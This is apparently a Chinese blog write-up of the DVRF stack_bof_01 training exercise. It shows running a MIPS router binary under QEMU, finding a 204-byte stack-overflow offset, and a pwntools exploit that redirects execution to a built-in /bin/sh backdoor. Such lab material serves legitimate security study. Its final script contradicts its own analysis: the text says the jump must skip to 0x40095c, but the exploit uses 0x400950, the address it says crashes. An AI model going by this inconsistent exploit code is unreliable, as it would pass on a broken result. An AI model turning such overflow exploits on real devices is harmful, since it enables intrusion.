DVRF Stack_bof_01 记录

Tue, 03 Nov 2026 12:38:12 +0800

DVRF

chroot

chroot(change root) 可以修改一个进程及其子进程所看到的根目录 / ，使它们把指定目录当作文件系统的根目录。其只是改变了进程进行绝对路径解析时使用的根目录。

在 pwn 上进行跨架构运行环境就可以用到 chroot：通过 chroot 切换根目录，再利用 QEMU 运行其他架构的程序，比如：

`1`	`sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 AAAA`

这里拆开来看:

参数	作用
`sudo chroot`	命令本身
`.`	将当前目录作为新的 `/`
`./qemu-mipsel-static`	使用 QEMU 模拟 MIPS 小端用户态程序
`./pwnable/Intro/stack_bof_01`	需要运行的 MIPS ELF 程序
`AAAA`	传给目标程序的命令行参数

这里用 chroot 跑 qemu-mipsel-static ，因为目标程序是动态链接，需要连接对应 MIPS 架构的 ld 和 libc ，使用 chroot 后，QEMU 就能把当前目录作为根目录进行链接操作。

不过 chroot 不是安全沙箱，没有安全隔离，是可以被拥有 root 权限的进程绕过……

qemu-mipsel-static

上面的 chroot 调用了 qemu-mipsel-static，实际使用 qemu-mipsel-static 来确定动态链接库的位置反而更好，这样就不需要 root 权限。
主要是使用 -L 参数指定动态链接器的搜索前缀。
在 pwntools 的 exp 上我使用：

ROOTFS = "/data/project/DVRF/Firmware/extractions/DVRF_v03.bin.extracted/20/partition_1.bin.extracted/0/squashfs-root"
BINARY = "/data/project/DVRF/Firmware/extractions/DVRF_v03.bin.extracted/20/partition_1.bin.extracted/0/squashfs-root/pwnable/Intro/stack_bof_01_dir/stack_bof_01"

io = process(["qemu-mipsel-static", "-L", ROOTFS, BINARY, payload])

这样替代了上面的 chroot，显然这样的 exp.py 更好。

分析

先 file 看看：

1
2

❯ file stack_bof_01
stack_bof_01: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped

是 MIPS32 小端程序。

checksec 跑崩了，就不看了，之后修：

1
2

❮ pwn checksec ./stack_bof_01
[1]    2071246 segmentation fault (core dumped)  pwn checksec ./stack_bof_01

ida pro 静态分析：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char dest[200]; // [sp+18h] [+18h] BYREF

  memset(dest, 0, sizeof(dest));
  if ( argc < 2 )
  {
    puts(s: "Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
    exit(status: 1);
  }
  puts(s: "Welcome to the first BoF exercise!\r\n\r");
  strcpy(dest, src: argv[1]);
  printf(format: "You entered %s \r\n", dest);
  puts(s: "Try Again\r");
  return 65;
}

关键就在于传入的参数由 strcpy 复制到栈上，没有做大小限制，基本就是无限制：
main 栈大致如下：

-00000000000000C8     char dest[200];
+0000000000000000     _DWORD var_s0;
+0000000000000004     _DWORD var_s4;
+0000000000000008     _DWORD arg_0;
+000000000000000C     _DWORD arg_4;

关键在于这个 var_s4，这里放的是函数返回地址。经计算距离 dest 数组偏移量为 204。这里通过 cyclic 也可以验证：

简单测试载荷脚本：

from pwn import *

context(log_level="debug", arch="mips", endian="little", bits=32)

payload = cyclic(0x300)

ROOTFS = "/data/project/DVRF/Firmware/extractions/DVRF_v03.bin.extracted/20/partition_1.bin.extracted/0/squashfs-root"
BINARY = "/data/project/DVRF/Firmware/extractions/DVRF_v03.bin.extracted/20/partition_1.bin.extracted/0/squashfs-root/pwnable/Intro/stack_bof_01_dir/stack_bof_01"

io = process(["qemu-mipsel-static", "-L", ROOTFS, BINARY, payload])

io.interactive()

这样在程序崩溃的之后会留下 core 核心转储文件：

1
2

❮ ls *core
 qemu_stack_bof_01_20261103-171444_2150914.core

直接用 gdb 加载核心转储文件：

`1`	`gdb stack_bof_01 qemu_stack_bof_01_20261103-171444_2150914.core`

这里能看出程序死在错误的地址上：Invalid address 0x63616162这说明已经覆盖了栈上的返回地址，然后用 cyclic -l 就可以拿到偏移量：

1
2
3

pwndbg> cyclic -l 0x63616162
Finding cyclic pattern of 4 bytes: b'baac' (hex: 0x62616163)
Found at offset 204

显然也是 204。

而后，程序内部也有后门：dat_shell

void __noreturn dat_shell()
{
  puts(s: "Congrats! I will now execute /bin/sh\r\n- b1ack0wl\r");
  system(command: "/bin/sh -c");
  exit(status: 0);
}

虽然实际拿不到真正的 shell(

利用

上面分析已经知道，只需要简单栈溢出到后门函数即可：
不过直接跳转是进不去程序的。
MIPS o32 的 PIC 约定：

调用者调用函数前，必须把被调函数的地址放进 $t9
被调函数开头执行 $gp = $t9 + 固定偏移 算出本模块的 GOT 基址

也就是 dat_shell 反汇编后的开头：

1
2

li   $gp, (_GLOBAL_OFFSET_TABLE_ + 0x7FF0 - .)   # 固定偏移 0x48380
addu $gp, $t9                                     # $gp = 函数地址 + 偏移

实际就是函数调用进函数的时候 $t9 必须等于函数自己的地址，正常调用 jalr/bal 由函数调用者保证。但是栈溢出用 jr $ra 时没有设置 $t9 这样算 $gp 的偏移量就崩了。
如果 $ra 直接跳到 dat_shell 的最开始就会卡在：

`1`	`► 0x400970 <dat_shell+32> lw $v0, -0x7fe4($gp) V0, [0x2b39060c] => 0`

所以 mips32 在跳后门函数的时候需要注意这一点，需要跳过有关 PIC 的约定。

text:00400950                 li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00400958                 addu    $gp, $t9
.text:0040095C                 addiu   $sp, -0x20
.text:00400960                 sw      $ra, 0x18+var_s4($sp)
.text:00400964                 sw      $fp, 0x18+var_s0($sp)
.text:00400968                 move    $fp, $sp
.text:0040096C                 sw      $gp, 0x18+var_8($sp)
.text:00400970                 li      $v0, 0x400000
.text:00400974                 nop

这里跳到 0x400950 就挂了，需要跳过 addu $gp, $t9 到 0x40095c

这样 exp 就简单了，只需要往参数写入 payload 即可。

exp

from pwn import *

context(log_level="debug", arch="mips", endian="little", bits=32)

dat_shell_addr = 0x400950
payload = b"a" * 204 + p32(dat_shell_addr)

ROOTFS = "/data/project/DVRF/Firmware/extractions/DVRF_v03.bin.extracted/20/partition_1.bin.extracted/0/squashfs-root"
BINARY = "/data/project/DVRF/Firmware/extractions/DVRF_v03.bin.extracted/20/partition_1.bin.extracted/0/squashfs-root/pwnable/Intro/stack_bof_01_dir/stack_bof_01"

io = process(["qemu-mipsel-static", "-L", ROOTFS, BINARY, payload])

io.interactive()

参考资料

Getting Started with Damn Vulnerable Router Firmware (DVRF) v0.1

DVRF on storm_1614

DVRF Stack_bof_01 记录

DVRF

chroot

qemu-mipsel-static

分析

利用

exp

参考资料